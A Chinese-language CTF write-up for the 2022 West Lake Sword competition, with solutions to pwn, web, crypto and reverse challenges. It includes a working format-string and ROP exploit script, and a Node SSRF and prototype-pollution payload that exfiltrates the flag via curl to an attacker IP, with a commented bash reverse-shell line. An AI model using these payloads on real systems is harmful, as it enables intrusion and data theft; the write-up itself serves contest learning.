2022 西湖论剑·中国杭州网络安全技能大赛部分题目 Writeup

Pwn

Message Broad

Author: xf1les

格式化字符串 + 栈溢出。首先利用格式化字符串漏洞泄漏 libc 地址,然后通过栈溢出跳到 0x401378 读入 orw ROP 链。最后再次利用栈溢出,栈迁移执行 ROP 读 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

libc = ELF("./libc.so.6")

libc_os = lambda x : libc.address + x

###################################################################

p = remote("tcp.cloud.dasctf.com", 23988)

p.sendlineafter("name:", "%24$p")
p.recvuntil("Hello, ")
libc.address = int(p.recvline().strip(), 16) - 0x1f12e8
info("libcbase: 0x%lx", libc.address)

rop_addr = 0x404800

p.sendafter("Now, please say something to DASCTF:", b'\x00'*0xb0 + p64(rop_addr+0xb0) + p64(0x401378))

rax_0 = libc_os(0xb1d69)
rax_1 = libc_os(0xcfb20)
rax_2 = libc_os(0xcfb30)
xchg = libc_os(0xf1b65)
rdi = libc_os(0x23b6a)
rsi = libc_os(0x2601f)
rdx = libc_os(0x142c92)
syscall = libc_os(0x630a9)

rop_raw = [
    rdi, 0xdeadbeef,
    rsi, 0,
    rax_2, syscall,
    xchg,
    rsi, 0xdeadbeef,
    rdx, 0x100,
    rax_0, syscall,
    rdi, 1,
    rax_1, syscall
]

rop_raw[1] = rop_raw[8] = rop_addr + len(rop_raw) * 8
rop = flat(rop_raw) + b'/flag\x00'
rop = rop.ljust(0xb0, b'\x00')

# 0x4013a2: leave; ret
p.send(rop + p64(rop_addr-8) + p64(0x4013a2))

p.interactive()

flag: DASCTF{78498727609579599266243558991510}

Web

real_ez_node

Author: WT_Elf

unicode 字符转义构造 SSRF,去请求/copy,/copy 中的safeobj.expand(user, index, req.body[index])存在原型链污染的问题,通过将{}.proto.outputFunctionName 污染为我们想要执行的代码,配合 ejs 的 rce,然后执行外带 flag 到我们的攻击机上面。

值得注意的是,这里过滤了__proto__,采用{}.constructor.prototype.outputFunctionName 的方式绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import httpx
url = 'http://3000.endpoint-271a72119329453d84690fe01a6850cd.m.ins.cloud.dasctf.com:81'


payload = """ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive

POST /copy HTTP/1.1
Host: 127.0.0.1
Content-Length: {}
Content-Type: application/x-www-form-urlencoded

{}""".replace('\n', '\r\n')

#body = """constructor.prototype.outputFunctionName=_tmp1;global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/47.107.117.109/4567 0>&1 &"');var __tmp2
body = """constructor.prototype.outputFunctionName=_tmp1;var oo=global.process.mainModule.require('child_process').execSync('cat /flag.txt').toString();global.process.mainModule.require('child_process').exec(`curl 47.107.117.109:4567/${oo}`);var __tmp2


""".replace('\n', '\r\n')

payload = payload.format(len(body), body) \
    .replace('+', '\u012b')             \
    .replace(' ', '\u0120')             \
    .replace('\r\n', '\u010d\u010a')    \
    .replace('"', '\u0122')             \
    .replace("'", '\u0a27')             \
    .replace('[', '\u015b')             \
    .replace(']', '\u015d') \
    + 'GET' + '\u0120' + '/'


response1 = httpx.get(f'{url}/curl?q=' + payload)
print(response1.text)

执行效果:

Node Magical Login

Author: WT_Elf

flag1:通过设置 cookie 值,user=admin,请求/flag1 即可

flag2:通过传入一个数组对象,当中的元素有 16 个,从而能通过 if(checkcode.length === 16),然后在碰见

checkcode = checkcode.toLowerCase()

的时候发生报错,从而绕过:

if(checkcode !== “aGr5AtSp55dRacer”)

的判断

扭转乾坤

Author: ABU

正常上传会提示 Sorry,Apache maybe refuse header equals Content-Type: multipart/form-data;.尝试修改 multipart/form-data 为 multipart/form-dat,即可绕过。

Crypto

LockByLock

Author: 狗遛狗舞

每次输出获得 \(msg1 = m^{e_A},msg3 = m^{e_B}\),而 msg2 其实没什么用。实际上就是给了一个加密 Oracle,有两次使用机会,选择明文攻击。第一次加密 2 ,第二次加密 4 ,将结果计算一下拿到公钥 n,再利用 Pollard’s kangaroo algorithm 解离散对数拿到公钥 e.

1
2
3
4
5
6
7
8
9
10
11
#sage
 m = 2
 a = #第一次proxyProcedure给的msg1
 b = #第二次proxyProcedure给的msg1
 c = #第一次proxyProcedure给的msg3
 d = #第二次proxyProcedure给的msg3
 n = gcd(a**2-b,c**2-d)
 e1 = discrete_log_lambda((mod(a,n)), (mod(m,n)),(10**14,10**15))
 e2 = discrete_log_lambda((mod(c,n)), (mod(m,n)),(10**14,10**15))
 assert pow(4,e1,n)==b
 assert pow(4,e2,n)==d

接着共模攻击

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2
 from Crypto.Util.number import GCD,long_to_bytes
 n = 
 c1 = #secureProcedure给的msg1
 c2 = #secureProcedure给的msg3
 e1 = 470129340211823
 e2 = 317977418745877
 assert GCD(e1,e2)==1
 s,s1,s2=gmpy2.gcdext(e1,e2)
 m=(pow(c1,s1,n)*pow(c2,s2,n))%n
 print(long_to_bytes(m))
 #DASCTF{97528269514323274486517981335577}

Reverse

Dual personality

Author:JANlittle

天堂之门,32 位切换到 64 位,capstone 或 dump 出 64 位代码 ida 看都行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
enc = [0xAA, 0x4F, 0x0F, 0xE2, 0xE4, 0x41, 0x99, 0x54, 0x2C, 0x2B, 0x84, 0x7E, 0xBC, 0x8F, 0x8B, 0x78, 0xD3, 0x73, 0x88, 0x5E, 0xAE, 0x47, 0x85, 0x70, 0x31, 0xB3, 0x09, 0xCE, 0x13, 0xF5, 0x0D, 0xCA]
key = [0x04, 0x77, 0x82, 0x4A]

for i in range(32):
    enc[i]^=key[i%4]

key = [0xc,0x22,0x38,0xe]
for i in range(4):
    t = int.from_bytes(bytes(enc[8*i:8*(i+1)]), 'little')
    t = (t>>key[i]) | ((t&((1<<(key[i]))-1))<<(64-key[i]))
    t = t.to_bytes(8, 'little')
    for j in range(8):
        enc[8*i+j] = t[j]

edx = 0x3ca7259d
for i in range(8):
    t = int.from_bytes(enc[4*i:4*(i+1)], 'little')
    t1 = (t-edx)&0xffffffff
    edx ^= t
    t1 = t1.to_bytes(4, 'little')
    for j in range(4):
        enc[4*i+j] = t1[j]

print(bytes(enc))

BabyRE

Author:JANlittle

initterm 初始化 3 个函数,3 个函数还分别用 atexit 注册了 3 个终止函数,所以有 6 个函数,输入要求纯数字,先 base8 然后明文比较 +sha1 校验 +rc4,考虑复杂度直接爆破 rc4 密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
from Crypto.Cipher import ARC4

enc = [0x3F, 0x95, 0xBB, 0xF2, 0x57, 0xF1, 0x7A, 0x5A, 0x22, 0x61, 0x51, 0x43, 0xA2, 0xFA, 0x9B, 0x6F, 0x44, 0x63, 0xC0, 0x08, 0x12, 0x65, 0x5C, 0x8A, 0x8C, 0x4C, 0xED, 0x5E, 0xCA, 0x76, 0xB9, 0x85, 0xAF, 0x05, 0x38, 0xED, 0x42, 0x3E, 0x42, 0xDF, 0x5D, 0xBE, 0x05, 0x8B, 0x35, 0x6D, 0xF3, 0x1C, 0xCF, 0xF8, 0x6A, 0x73, 0x25, 0xE4, 0xB7, 0xB9, 0x36, 0xFB, 0x02, 0x11, 0xA0, 0xF0, 0x57, 0xAB, 0x21, 0xC6, 0xC7, 0x46, 0x99, 0xBD, 0x1E, 0x61, 0x5E, 0xEE, 0x55, 0x18, 0xEE, 0x03, 0x29, 0x84, 0x7F, 0x94, 0x5F, 0xB4, 0x6A, 0x29, 0xD8, 0x6C, 0xE4, 0xC0, 0x9D, 0x6B, 0xCC, 0xD5, 0x94, 0x5C, 0xDD, 0xCC, 0xD5, 0x3D, 0xC0, 0xEF, 0x0C, 0x29, 0xE5, 0xB0, 0x93, 0xF1, 0xB3, 0xDE, 0xB0, 0x70]
key = 0
for i in range(1000000):
    rc4 = ARC4.new(str(i).zfill(6).encode())
    m = rc4.decrypt(bytes(enc))
    if m.isdigit():
        key = i
        print(m)

m = '1523306115230466162304651523346214431471150310701503207116032063140334661543446114434066142304661563446615430464'
print('flag:', int(m, 8).to_bytes(42, 'big').decode() + str(key))

Categories:

Updated: